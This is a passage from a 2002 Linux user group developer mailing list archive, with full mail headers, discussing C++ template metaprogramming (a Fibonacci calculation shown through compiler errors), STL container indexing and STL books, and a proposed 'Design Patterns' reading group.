Feb 2002 07:40:16 -0500 (EST) Subject: Re: [Dev] Fun with templates To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Wed, 13 Feb 2002 07:45:42 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/13/2002 07:45:47 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > > Ignore the first line, and look at the second number > inside the <> of the rest. What do we have? > It's a fibonacci sequence. Where did it come from? > The error messages!?! How did it come from the > error messages? The templates calculated it. > I think I sorta kinda understand how that works. But not completely. Do tell.... TTYL, Phillip From ed@eh3.com Wed Feb 13 11:08:13 2002 Received: from eddy.mines.edu (eddy.Mines.EDU [138.67.24.111]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA25962 for ; Wed, 13 Feb 2002 11:08:13 -0500 Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g1DGAEj01556; Wed, 13 Feb 2002 09:10:14 -0700 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] Fun with templates From: Ed Hill To: dev@trilug.org In-Reply-To: <1013549181.26079.17.camel@kendrick> References: <1013549181.26079.17.camel@kendrick> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 Date: 13 Feb 2002 09:10:13 -0700 Message-Id: <1013616614.1113.24.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tue, 2002-02-12 at 14:26, Tanner Lovelace wrote: > > First, did you know that apparently templates are turing complete! Ok, so you can do calculations of arbitrary complexity at compile time with templates. Cool. But I've seen only a few practical examples of anything useful accomplished with these template gymnastics. The applications that I'm aware of are expression templates: http://www.acl.lanl.gov/pete/index.html http://www.acl.lanl.gov/pooma/ http://www.oonumerics.org/blitz/ and I've used them a little. So whats my point, then? ;-) Well, do any of you actually use ETs or related template methods for your projects? If so, do you have any examples you'd be willing to share? I'd be interested in seeing them! Ed -- Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URL: http://www.eh3.com Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 Key fingerprint = 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 From brent@mutt.rcfile.org Wed Feb 13 13:30:13 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA26685 for ; Wed, 13 Feb 2002 13:30:13 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 13 Feb 2002 13:32:16 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1DIWKs22422 for dev@trilug.org; Wed, 13 Feb 2002 13:32:20 -0500 (EST) (envelope-from brent) Date: Wed, 13 Feb 2002 13:32:19 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Fun with templates Message-ID: <20020213183219.GA22108@rcfile.org> References: <1013549181.26079.17.camel@kendrick> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1013549181.26079.17.camel@kendrick> User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-12 16:26] Tanner Lovelace said: | All these questions about the STL had me thinking about a class | I took a few years ago about advanced templates and the STL. | I thought I might share a few things with the list, if anyone | is interested. | | First, did you know that apparently templates are turing complete! | I.e. you can actually calculate things using templates. If you | don't believe me, save the following program as fibonacci.cpp | and run this command: nice. | g++ -c fibonacci.cpp 2>&1 | grep Output | | // -- Cut here --- | template struct Output {}; // creates output | | template struct fibo { | enum { val = fibo::val + fibo::val }; caluclate a value in the fibo series. | }; | template<> struct fibo<1> { enum { val = 1}; }; | template<> struct fibo<0> { enum { val = 0}; }; initializes the fibo generation. try with the following. template<> struct fibo<1> { enum { val = 2}; }; template<> struct fibo<0> { enum { val = 1}; }; | template struct Fibo_print { | Fibo_print a; template recursion, causing the the calculation above to generate the fibo value in the line below. | enum { val = fibo::val }; | void f() { a.f(); Output d = val; } illegal conversion/assignment generates the error message. | }; | template<> struct Fibo_print<1> { | enum { val = fibo<1>::val }; | void f() { Output<1,val> d = val; } | }; stops the recursion. | void foo() { | Fibo_print<17> a; | a.f(); | } | // -- End program here -- -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From bhu5nji@yahoo.com Wed Feb 13 14:52:09 2002 Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA27002 for ; Wed, 13 Feb 2002 14:52:09 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by johnson.mail.mindspring.net with smtp (Exim 3.33 #1) id 16b5Ts-0001Ja-00 for dev@trilug.org; Wed, 13 Feb 2002 14:54:16 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Wed, 13 Feb 2002 14:51:31 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] STL: something more mundane Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Here is a very useful thing for small parsing jobs. There's nothing challenging about it. It's much better than strtok too. http://gcc.gnu.org/onlinedocs/libstdc++/21_strings/stringtok_h.txt Mike M. From lovelace@wayfarer.org Wed Feb 13 15:42:32 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id PAA27254 for ; Wed, 13 Feb 2002 15:42:31 -0500 Received: (qmail 3654 invoked by uid 401); 13 Feb 2002 20:44:02 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 13 Feb 2002 20:44:02 -0000 Subject: Re: [Dev] Fun with templates From: Tanner Lovelace To: dev@trilug.org In-Reply-To: <20020213183219.GA22108@rcfile.org> References: <1013549181.26079.17.camel@kendrick> <20020213183219.GA22108@rcfile.org> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-MZxUXfw7MP/vws/ywymO" X-Mailer: Evolution/1.0.21mdk Date: 13 Feb 2002 15:43:32 -0500 Message-Id: <1013633013.7270.10.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-MZxUXfw7MP/vws/ywymO Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Good explanation, Brent. I think you got everything that was there. :-) Ed Hill asked: >Ok, so you can do calculations of arbitrary complexity at compile time >with templates. Cool. But I've seen only a few practical examples of >anything useful accomplished with these template gymnastics. The >applications that I'm aware of are expression templates: > > http://www.acl.lanl.gov/pete/index.html > http://www.acl.lanl.gov/pooma/ > http://www.oonumerics.org/blitz/ > >and I've used them a little. > >So whats my point, then? ;-) Well, do any of you actually use ETs or >related template methods for your projects? If so, do you have any >examples you'd be willing to share? I'd be interested in seeing them! The Blitz++ library is probably one of the best examples of this I've seen. They basically use templates and application domain knowledge to control things like loop unrolling, etc.. I've even seen side by side comparisons of assembly code generated by their C++ template program and hand coded assembly and they're about the exact same thing. As to whether anyone around here actually uses them, my guess would be not that much. ETs are a very advanced C++ concept. Not even the C++ standards committee realized what could be done with them until someone came in with a program that calculated primes in the error messages. I think it will take a while before more people start using them. I would expect, however, that the same guys that would think about doing hand coded assembly might be the first ones that would try them out, though... Tanner On Wed, 2002-02-13 at 13:32, Brent Verner wrote: > [2002-02-12 16:26] Tanner Lovelace said: > | All these questions about the STL had me thinking about a class > | I took a few years ago about advanced templates and the STL. > | I thought I might share a few things with the list, if anyone > | is interested. > |=20 > | First, did you know that apparently templates are turing complete! > | I.e. you can actually calculate things using templates. If you > | don't believe me, save the following program as fibonacci.cpp > | and run this command: >=20 > nice. >=20 > | g++ -c fibonacci.cpp 2>&1 | grep Output > |=20 > | // -- Cut here --- > | template struct Output {}; // creates output > |=20 > | template struct fibo { > | enum { val =3D fibo::val + fibo::val }; >=20 > caluclate a value in the fibo series. >=20 > | }; > | template<> struct fibo<1> { enum { val =3D 1}; }; > | template<> struct fibo<0> { enum { val =3D 0}; }; >=20 > initializes the fibo generation. try with the following. > template<> struct fibo<1> { enum { val =3D 2}; }; > template<> struct fibo<0> { enum { val =3D 1}; }; >=20 > | template struct Fibo_print { > | Fibo_print a; >=20 > template recursion, causing the the calculation above to=20 > generate the fibo value in the line below. >=20 > | enum { val =3D fibo::val }; > | void f() { a.f(); Output d =3D val; } >=20 > illegal conversion/assignment generates the error message. >=20 > | }; > | template<> struct Fibo_print<1> {=20 > | enum { val =3D fibo<1>::val }; > | void f() { Output<1,val> d =3D val; } > | }; >=20 > stops the recursion. >=20 > | void foo() { > | Fibo_print<17> a; > | a.f(); > | } > | // -- End program here -- >=20 > --=20 > "Develop your talent, man, and leave the world something. Records are=20 > really gifts from people. To think that an artist would love you enough > to share his music with anyone is a beautiful thing." -- Duane Allman > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-MZxUXfw7MP/vws/ywymO Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8as/0zglPjt52OdQRAjaMAKDPM073pd3gcQ9nUCoNU3htQWpm7QCfcA7B H4SigmOWMU0zJuc8DHVlG8w= =dbv4 -----END PGP SIGNATURE----- --=-MZxUXfw7MP/vws/ywymO-- From bhu5nji@yahoo.com Wed Feb 13 16:30:41 2002 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA27569 for ; Wed, 13 Feb 2002 16:30:41 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by granger.mail.mindspring.net with smtp (Exim 3.33 #1) id 16b71B-0008MQ-00 for dev@trilug.org; Wed, 13 Feb 2002 16:32:45 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Fun with templates Date: Wed, 13 Feb 2002 16:29:55 -0500 X-Mailer: KMail [version 1.3.1] References: <1013549181.26079.17.camel@kendrick> <20020213183219.GA22108@rcfile.org> <1013633013.7270.10.camel@kendrick> In-Reply-To: <1013633013.7270.10.camel@kendrick> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > As to whether anyone around here actually uses them, my guess > would be not that much. ETs are a very advanced C++ concept. > Not even the C++ standards committee realized what could > be done with them until someone came in with a program > that calculated primes in the error messages. I think > it will take a while before more people start using them. > I would expect, however, that the same guys that would > think about doing hand coded assembly might be the first > ones that would try them out, though... > Tanner The people I know that code assembly by hand think that C is for whimps. Higher order C++ concepts are way too abstract for their liking. Obviously the people you know are quite different. Are ETs what they are teaching undergrads these days? Here is an article that shows some performance data of hand code vs ET vs lamda functions. The results are compiler dependent. That seems troublesome to me, especially in the open source world where any number of compilers are expected to be applied to the code. The chart does not speak well of G++. http://www.oonumerics.org/tmpw00/striegnitz.html It has a nice bibliography at the bottom. Mike M. From bhu5nji@yahoo.com Thu Feb 14 05:35:33 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id FAA30949 for ; Thu, 14 Feb 2002 05:35:33 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16bJGj-0006yB-00 for dev@trilug.org; Thu, 14 Feb 2002 05:37:38 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Thu, 14 Feb 2002 05:34:49 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] Josuttis vs Musser Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I think I have some solid evidence to rank two STL books and it hinges on example variety. The Josuttis book examples (downloaded from the web) often show that sequence container (vector, deque, list) elements can be directly accessed in a manner similar to arrays: list a; if (a[3] == "blah") doSomething(); I have a very simple language to parse. I am told 4 position sensitive things in a string. I parse the string into a list, a, of strings. If a.size() != 4 then I ignore the statement. Otherwise, I start analysing a[0]..a[3]. A quick scan of Josuttis examples suggests this approach will work. The Musser et al book was not so helpful. The Musser et al book does use this technique and the book's formal definition of the technique is still hiding from me. These books are nearly $50 each. From lovelace@wayfarer.org Thu Feb 14 13:16:43 2002 Received: from maddux.wayfarer.org (rdu25-14-014.nc.rr.com [24.25.14.14]) by fatalpha.trilug.org (8.9.3/8.9.3) with SMTP id NAA00587 for ; Thu, 14 Feb 2002 13:16:42 -0500 Received: (qmail 5277 invoked by uid 401); 14 Feb 2002 18:18:21 -0000 Received: from localhost (HELO kendrick.house.wayfarer.org) (lovelace@127.0.0.1) by localhost with SMTP; 14 Feb 2002 18:18:21 -0000 Subject: Re: [Dev] Josuttis vs Musser From: Tanner Lovelace To: dev@trilug.org In-Reply-To: References: Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-Kk2HDbopGHIP3Ns06VJU" X-Mailer: Evolution/1.0.21mdk Date: 14 Feb 2002 13:17:50 -0500 Message-Id: <1013710670.24945.7.camel@kendrick> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-Kk2HDbopGHIP3Ns06VJU Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Replace list with vector and I think it should work. I don't think the operator[] is overloaded for list, because of the fact that it's not random access. Everything else should work, though. Tanner On Thu, 2002-02-14 at 05:34, M. Mueller (bhu5nji) wrote: > I think I have some solid evidence to rank two STL books and it hinges on= =20 > example variety. >=20 > The Josuttis book examples (downloaded from the web) often show that sequ= ence=20 > container (vector, deque, list) elements can be directly accessed in a ma= nner=20 > similar to arrays: >=20 > list a; >=20 > if (a[3] =3D=3D "blah") doSomething(); >=20 > I have a very simple language to parse. I am told 4 position sensitive=20 > things in a string. I parse the string into a list, a, of strings. If=20 > a.size() !=3D 4 then I ignore the statement. Otherwise, I start analysin= g=20 > a[0]..a[3]. >=20 > A quick scan of Josuttis examples suggests this approach will work. The=20 > Musser et al book was not so helpful. The Musser et al book does use this= =20 > technique and the book's formal definition of the technique is still hidi= ng=20 > from me.=20 >=20 > These books are nearly $50 each. >=20 >=20 > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev --=20 Tanner Lovelace | lovelace@wayfarer.org | http://wtl.wayfarer.org/ --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- GPG Fingerprint =3D A66C 8660 924F 5F8C 71DA BDD0 CE09 4F8E DE76 39D4 GPG Key can be found at http://wtl.wayfarer.org/lovelace.gpg.asc --*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*-- Those who are willing to sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-Kk2HDbopGHIP3Ns06VJU Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8a/9OzglPjt52OdQRAkHlAJ9jm49+t93he5i6tMQ7lZVEf3n+dACgv6z8 ozqH/CRiPNvwype+M4VSmco= =+/gk -----END PGP SIGNATURE----- --=-Kk2HDbopGHIP3Ns06VJU-- From bhu5nji@yahoo.com Thu Feb 14 13:47:18 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA00843 for ; Thu, 14 Feb 2002 13:47:18 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16bQwd-0007Ol-00 for dev@trilug.org; Thu, 14 Feb 2002 13:49:23 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Josuttis vs Musser Date: Thu, 14 Feb 2002 13:46:32 -0500 X-Mailer: KMail [version 1.3.1] References: <1013710670.24945.7.camel@kendrick> In-Reply-To: <1013710670.24945.7.camel@kendrick> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: OK. Now I see the definition in the Container Ref. Guide in Musser et al, Section 21.3.8 Vector Element Access Member Functions: reference operator[](size_type n); const_reference operator[](size_type n) const; Returns the nth element from the begining of the vector in constant time. operator[] defined for vector, deque, map. [] is not defined for set (index is key, entry is key, [] is somewhat pointlesshere ), list (I would not have guessed that it doesn't exist because it's not RA), multiset (key is index, but multiple key values allowed, so [] is not determinate). I was just getting to the point today of learning that lists are not RA. Thanks for saving me the headache. I'll just use an iterator. I'll be referring to my TODO list as my TODO vector from now on :-). Mike On Thursday 14 February 2002 01:17 pm, you wrote: > Replace list with vector and I think it should work. I don't > think the operator[] is overloaded for list, because of the fact > that it's not random access. Everything else should work, though. > > Tanner > > On Thu, 2002-02-14 at 05:34, M. Mueller (bhu5nji) wrote: > > I think I have some solid evidence to rank two STL books and it hinges on > > example variety. > > > > The Josuttis book examples (downloaded from the web) often show that > > sequence container (vector, deque, list) elements can be directly > > accessed in a manner similar to arrays: > > > > list a; > > > > if (a[3] == "blah") doSomething(); > > > > I have a very simple language to parse. I am told 4 position sensitive > > things in a string. I parse the string into a list, a, of strings. If > > a.size() != 4 then I ignore the statement. Otherwise, I start analysing > > a[0]..a[3]. > > > > A quick scan of Josuttis examples suggests this approach will work. The > > Musser et al book was not so helpful. The Musser et al book does use this > > technique and the book's formal definition of the technique is still > > hiding from me. > > > > These books are nearly $50 each. > > > > > > _______________________________________________ > > Dev mailing list > > Dev@trilug.org > > http://www.trilug.org/mailman/listinfo/dev From prhodes@vdsinc.com Thu Feb 14 15:39:21 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA01669 for ; Thu, 14 Feb 2002 15:39:21 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AFZ15635; Thu, 14 Feb 2002 15:41:25 -0500 (EST) To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Thu, 14 Feb 2002 15:46:56 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 02/14/2002 03:46:58 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Subject: [Dev] Reading Circle Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Say, is anybody interested in getting a "reading circle" together to study some book of topical interest? I've been toying with the idea for a while, and have talked to at least one other Tri-LUG member how has some interest.... We were talking about maybe doing the Gang of Four "Design Patterns" book... Anybody game for doing such a thing? Of maybe the same idea, but a different book? TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From ed@eh3.com Thu Feb 14 15:49:09 2002 Received: from eddy.mines.edu (eddy.Mines.EDU [138.67.24.111]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA01719 for ; Thu, 14 Feb 2002 15:49:08 -0500 Received: (from edhill@localhost) by eddy.mines.edu (8.11.6/8.11.6) id g1EKpAY02000; Thu, 14 Feb 2002 13:51:10 -0700 X-Authentication-Warning: eddy.mines.edu: edhill set sender to ed@eh3.com using -f Subject: Re: [Dev] Reading Circle From: Ed Hill To: dev@trilug.org In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Evolution/1.0.2 Date: 14 Feb 2002 13:51:10 -0700 Message-Id: <1013719870.1112.81.camel@eddy> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Thu, 2002-02-14 at 13:46, prhodes@vdsinc.com wrote: > Say, is anybody interested in getting a "reading circle" together to study > some book of topical interest? I've been toying with the > idea for a while, and have talked to at least one other Tri-LUG member how > has some interest.... We were talking about maybe > doing the Gang of Four "Design Patterns" book... > > Anybody game for doing such a thing? Of maybe the same idea, but a > different book? Theres a group of us doing the same out here in Boulder: http://www.c2.com/cgi/wiki?BoulderPatternsGroup and, having attended just one meeting, it was OK (would have liked better examples). In any case, you might want to check out their wiki pages for the meeting format: http://www.c2.com/cgi/wiki?BoulderPatternGroupMeetings Ed -- Edward H. Hill III, PhD Post-Doctoral Researcher | Email: ed@eh3.com, ehill@mines.edu Division of ESE | URL: http://www.eh3.com Colorado School of Mines | Phone: 303-273-3483 Golden, CO 80401 | Fax: 303-273-3311 Key fingerprint = 5BDE 4DA1 66BE 4F7B BC17 3A0C 932B 7266 1E76 F123 From bhu5nji@yahoo.com Thu Feb 14 15:52:13 2002 Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA01753 for ; Thu, 14 Feb 2002 15:52:13 -0500 Received: from user-2ivf2tj.dsl.mindspring.com ([165.247.139.179] helo=there) by smtp6.mindspring.com with smtp (Exim 3.33 #1) id 16bStW-0000Ss-00 for dev@trilug.org; Thu, 14 Feb 2002 15:54:19 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Reading Circle Date: Thu, 14 Feb 2002 15:51:27 -0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I'm in. How bout a link to the book? Mike M. On Thursday 14 February 2002 03:46 pm, you wrote: > Say, is anybody interested in getting a "reading circle" together to study > some book of topical interest? I've been toying with the > idea for a while, and have talked to at least one other Tri-LUG member how > has some interest.... We were talking about maybe > doing the Gang of Four "Design Patterns" book... > > Anybody game for doing such a thing? Of maybe the same idea, but a > different book? > > TTYL, > > Phillip Rhodes > Application Designer > Voice Data Solutions > 919-571-4300 x225 > prhodes@vdsinc.com > > America is at war with Afghanistan. America has always been at war with > Afghanistan. Russia is our ally. Russia has always been our ally. > > Read Orwell's 1984. Read a newspaper. Fear the future. > > The history of liberty is a history of resistance. The history of liberty > is a history of limitations of governmental power, not the increase of it. > - Woodrow Wilson Speech in New York, September 9, 1912 > > Those who are willing to sacrifice essential liberties for a little order, > will lose both and deserve neither. - Benjamin Franklin > > > _______________________________________________ > Dev mailing list > Dev@trilug.org > http://www.trilug.org/mailman/listinfo/dev From brent@mutt.rcfile.org Thu Feb 14 15:54:29 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA01779 for ; Thu, 14 Feb 2002 15:54:29 -0500 Received: from mutt.rcfile.org ([66.57.26.120]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Thu, 14 Feb 2002 15:56:35 -0500 Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g1EKueg73491 for dev@trilug.org; Thu, 14 Feb 2002 15:56:40 -0500 (EST) (envelope-from brent) Date: Thu, 14 Feb 2002 15:56:40 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Reading Circle Message-ID: <20020214205640.GA73420@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #17: Sat Feb 9 15:01:43 EST 2002 brent@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-02-14 15:46] prhodes@vdsinc.com said: | Say, is anybody interested in getting a "reading circle" together to study | some book of topical interest? I've been toying with the | idea for a while, and have talked to at least one other Tri-LUG member how | has some interest.... We were talking about maybe | doing the Gang of Four "Design Patterns" book... | | Anybody game for doing such a thing? Of maybe the same idea, but a | different book? sounds cool. Most weekends are good for me. cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From matthew.todd@alumni.duke.edu Thu Feb 14 17:44:05 2002 Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id RAA02246 for ; Thu, 14 Feb 2002 17:44:05 -0500 Received: 